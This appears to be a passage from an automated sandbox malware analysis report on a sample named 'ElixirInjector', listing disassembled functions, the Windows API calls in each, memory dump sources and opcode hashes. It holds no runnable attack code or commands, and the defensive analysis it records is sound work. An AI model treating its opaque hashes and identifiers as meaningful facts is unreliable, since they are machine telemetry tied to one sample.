                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: e95a57d5b8814e433774275204e1945d957e323c4d236e98451a4bdb8464d69d
                                                                                              • Instruction ID: 21ca021af386c0c814c1e43a7a8ffcaeafd3b99228833a25fa24791ea2273634
                                                                                              • Opcode Fuzzy Hash: e95a57d5b8814e433774275204e1945d957e323c4d236e98451a4bdb8464d69d
                                                                                              • Instruction Fuzzy Hash: 872126F1E40221ABDB14DF74EC41A6B7A6CFB14324F14023AA506EB681D3789A00D6E8
                                                                                              Function 00F2B093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F2B098
                                                                                                • Part of subcall function 00F113DC: __EH_prolog.LIBCMT ref: 00F113E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 35000db4cbcfd03e49939d6b2d1ff6ae1f688d14221afbed7141dcd88a265544
                                                                                              • Instruction ID: 2f8d740dedbe074e8f2db858fef1ef79bcc2a5b3cfb8437c476dd06fcb140e55
                                                                                              • Opcode Fuzzy Hash: 35000db4cbcfd03e49939d6b2d1ff6ae1f688d14221afbed7141dcd88a265544
                                                                                              • Instruction Fuzzy Hash: C9317C71C002599FCF15DFA4DC51AEEBBB4AF09310F1044AEE809B7242D739AE44EBA1
                                                                                              Function 00F3AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 00F3ACF8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressProc
                                                                                              • String ID:
                                                                                              • API String ID: 190572456-0
                                                                                              • Opcode ID: 9400459738a24aa48e4e46e86c1294f51031205f9e17e240aed2a3e1abc006da
                                                                                              • Instruction ID: 2309d5754b9b39779f3a3138de962a333dfbbc0d010aa996f53055dfb1b9b7ea
                                                                                              • Opcode Fuzzy Hash: 9400459738a24aa48e4e46e86c1294f51031205f9e17e240aed2a3e1abc006da
                                                                                              • Instruction Fuzzy Hash: 92110637B006295F9B229E2AEC4099A7395ABC5770F164220FCA5EB258D730DC01B7D2
                                                                                              Function 00F19215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 6047c07e234257c0fc95fa22919e926a7441dc6c0bb388ccc250d77963997be2
                                                                                              • Instruction ID: 17a13fe41d26a619c5e01c5b5168d8357a8add09fcf7d00a2d442051a14f91f8
                                                                                              • Opcode Fuzzy Hash: 6047c07e234257c0fc95fa22919e926a7441dc6c0bb388ccc250d77963997be2
                                                                                              • Instruction Fuzzy Hash: 6401A933D00564ABCF11AF68CC519DEB735BF88750F014115F815B7112DA788D41E6E0
                                                                                              Function 00F33C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 00F33C3F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressProc
                                                                                              • String ID:
                                                                                              • API String ID: 190572456-0
                                                                                              • Opcode ID: 2816516d4b8ec17eef70722cda9d5ac0156c7a9ebea005b744fcf177788dbc9d
                                                                                              • Instruction ID: 8553774ff13a566cdd5b1e817bb064bbfc47e45d0cb351d6a41b591f94a6c304
                                                                                              • Opcode Fuzzy Hash: 2816516d4b8ec17eef70722cda9d5ac0156c7a9ebea005b744fcf177788dbc9d
                                                                                              • Instruction Fuzzy Hash: DBF0EC366002169FDF12DE69EC0099A77D9EF41BB4B105124FE05E7190DB31DA20F790
                                                                                              Function 00F38E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RtlAllocateHeap.NTDLL(00000000,?,?,?,00F34286,?,0000015D,?,?,?,?,00F35762,000000FF,00000000,?,?), ref: 00F38E38
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AllocateHeap
                                                                                              • String ID:
                                                                                              • API String ID: 1279760036-0
                                                                                              • Opcode ID: 4e1fa7361770899b9ab791d7fcbccd58ff26e788be2ea87b4ac682020cf23009
                                                                                              • Instruction ID: b9255f164cc252c877f5bfed3472097a11ad8035cb10067e2b5c337eabd8f413
                                                                                              • Opcode Fuzzy Hash: 4e1fa7361770899b9ab791d7fcbccd58ff26e788be2ea87b4ac682020cf23009
                                                                                              • Instruction Fuzzy Hash: 71E06D32A0632A57EA7136A59C05B9B7A489B427F4F150121BC58A7091CFACCE82B2E1
                                                                                              Function 00F15ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F15AC2
                                                                                                • Part of subcall function 00F1B505: __EH_prolog.LIBCMT ref: 00F1B50A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID:
                                                                                              • API String ID: 3519838083-0
                                                                                              • Opcode ID: 11baf58a690af0d25166fd5f7a4bfeac645692c107f6079d93300c58accbe249
                                                                                              • Instruction ID: b9a4f40574898bdc97a4f4f9fabc7d0fd1faca968eff9edc61554229a5918e4e
                                                                                              • Opcode Fuzzy Hash: 11baf58a690af0d25166fd5f7a4bfeac645692c107f6079d93300c58accbe249
                                                                                              • Instruction Fuzzy Hash: 7C018C318106A0DAD725EBB8E8417EDFBA49F64704F54848DA45653283CFBC1B08E7A2
                                                                                              Function 00F1A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F1A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A6C4
                                                                                                • Part of subcall function 00F1A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A6F2
                                                                                                • Part of subcall function 00F1A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00F1A592,000000FF,?,?), ref: 00F1A6FE
                                                                                              • FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00F1A598
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Find$FileFirst$CloseErrorLast
                                                                                              • String ID:
                                                                                              • API String ID: 1464966427-0
                                                                                              • Opcode ID: 50d7bb9d49d0635b50cf864efd46425d416649b481e3638bf820bbf11795c25a
                                                                                              • Instruction ID: b6a1398f55e518d110e68a4d0ea425aa4afd2f03571bfb3a9b7ac7ee014e521b
                                                                                              • Opcode Fuzzy Hash: 50d7bb9d49d0635b50cf864efd46425d416649b481e3638bf820bbf11795c25a
                                                                                              • Instruction Fuzzy Hash: E3F0823640E790AACB2257B48D04BCB7B956F1A331F088A49F5FD5219AC27950D8BB23
                                                                                              Function 00F20E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetThreadExecutionState.KERNEL32(00000001), ref: 00F20E3D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExecutionStateThread
                                                                                              • String ID:
                                                                                              • API String ID: 2211380416-0
                                                                                              • Opcode ID: c5645229537ede72dccb6d1540b009d5bbeb3f9a91a86ce054a3b5be6beffcf5
                                                                                              • Instruction ID: b31b1e7cf337673d8713010b0605e17f769bf492e60dfd17b3290911e0d2c821
                                                                                              • Opcode Fuzzy Hash: c5645229537ede72dccb6d1540b009d5bbeb3f9a91a86ce054a3b5be6beffcf5
                                                                                              • Instruction Fuzzy Hash: 6DD01212A011696ADA1133287C55BFE35269FD7323F0D0065F545971C3CE5D48C6B2A1
                                                                                              Function 00F2A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GdipAlloc.GDIPLUS(00000010), ref: 00F2A62C
                                                                                                • Part of subcall function 00F2A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00F2A3DA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Gdip$AllocBitmapCreateFromStream
                                                                                              • String ID:
                                                                                              • API String ID: 1915507550-0
                                                                                              • Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
                                                                                              • Instruction ID: d977afde5e843b9935026b2e8e8bd8604bf8a00b084a75be5e89fef0438363f5
                                                                                              • Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
                                                                                              • Instruction Fuzzy Hash: A1D0A931600218BBDF02AB21EC12A7E7AA9EB00340F008021B882C5181EBB2DD10B262
                                                                                              Function 00F2E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DloadProtectSection.DELAYIMP ref: 00F2E5E3
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: DloadProtectSection
                                                                                              • String ID:
                                                                                              • API String ID: 2203082970-0
                                                                                              • Opcode ID: 3ab5ec0537f023e26b31ffcdc41d873f13cb8626a0dee754902ad5ef2a5cc3a3
                                                                                              • Instruction ID: 684d64fbfa0577b504801e29cdb8c07f8645aebe5edadad7808f909fb0eed2a4
                                                                                              • Opcode Fuzzy Hash: 3ab5ec0537f023e26b31ffcdc41d873f13cb8626a0dee754902ad5ef2a5cc3a3
                                                                                              • Instruction Fuzzy Hash: E0D0C9B45A02A49BD602EBECBE477963754B725B14FB80101B189E1495DB7C8488BA17
                                                                                              Function 00F2DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00F21B3E), ref: 00F2DD92
                                                                                                • Part of subcall function 00F2B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00F2B579
                                                                                                • Part of subcall function 00F2B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F2B58A
                                                                                                • Part of subcall function 00F2B568: IsDialogMessageW.USER32(000103D8,?), ref: 00F2B59E
                                                                                                • Part of subcall function 00F2B568: TranslateMessage.USER32(?), ref: 00F2B5AC
                                                                                                • Part of subcall function 00F2B568: DispatchMessageW.USER32(?), ref: 00F2B5B6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$DialogDispatchItemPeekSendTranslate
                                                                                              • String ID:
                                                                                              • API String ID: 897784432-0
                                                                                              • Opcode ID: 387e0167b634c3f87aed8955658acf49902090229c9a07156b049e0da89f9822
                                                                                              • Instruction ID: 2605d254978384f555c3c65cd1bfb9e5a97a28070a74f9db1e5c33dfd2b1cf2c
                                                                                              • Opcode Fuzzy Hash: 387e0167b634c3f87aed8955658acf49902090229c9a07156b049e0da89f9822
                                                                                              • Instruction Fuzzy Hash: FCD09E32144310FAD6016B51DD07F0A7BA2AB88B05F404555B784740F18A76AD61FF12
                                                                                              Function 00F198BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetFileType.KERNELBASE(000000FF,00F197BE), ref: 00F198C8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileType
                                                                                              • String ID:
                                                                                              • API String ID: 3081899298-0
                                                                                              • Opcode ID: 3464562bf40e6273ac395cbd0fb2172d91c36c3167b93c77ac1a88d2cfb029b3
                                                                                              • Instruction ID: 88357390d38cf92d4cfd6c5f9b5eda5f7ad1ae1115a893827ec66a00cddcc33c
                                                                                              • Opcode Fuzzy Hash: 3464562bf40e6273ac395cbd0fb2172d91c36c3167b93c77ac1a88d2cfb029b3
                                                                                              • Instruction Fuzzy Hash: 31C00238808209968E219A2898690D97762AB633BA7F49794D06D890A1C362CCDBFA51
                                                                                              Function 00F2E1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 326ec70261e5219fe799cb01e1a1f20bc585350771bbc6b3534a6b2b52279cfe
                                                                                              • Instruction ID: 8e68bbf81642bffee1ad7bb631b87d22d78bf5fe6aa0dcaae8d17c40946e1577
                                                                                              • Opcode Fuzzy Hash: 326ec70261e5219fe799cb01e1a1f20bc585350771bbc6b3534a6b2b52279cfe
                                                                                              • Instruction Fuzzy Hash: A0B012D2259010BC314453453D02D3B021CC2C2B11330C03FFC49C0181E880EC043473
                                                                                              Function 00F2E1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: a0eb6d50151090794785c64443047d4f7d6d9d65b7b9782cbd722131c7fc4ca5
                                                                                              • Instruction ID: 08c960312ad3e38727b2035a2276a5d5aa0c1ec678ad2eb9cc57aed65a1e6c72
                                                                                              • Opcode Fuzzy Hash: a0eb6d50151090794785c64443047d4f7d6d9d65b7b9782cbd722131c7fc4ca5
                                                                                              • Instruction Fuzzy Hash: BEB012D625D120FC314452893D02D3B031DC2C1B11330803FFC09C0081EC80AC003573
                                                                                              Function 00F2E1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
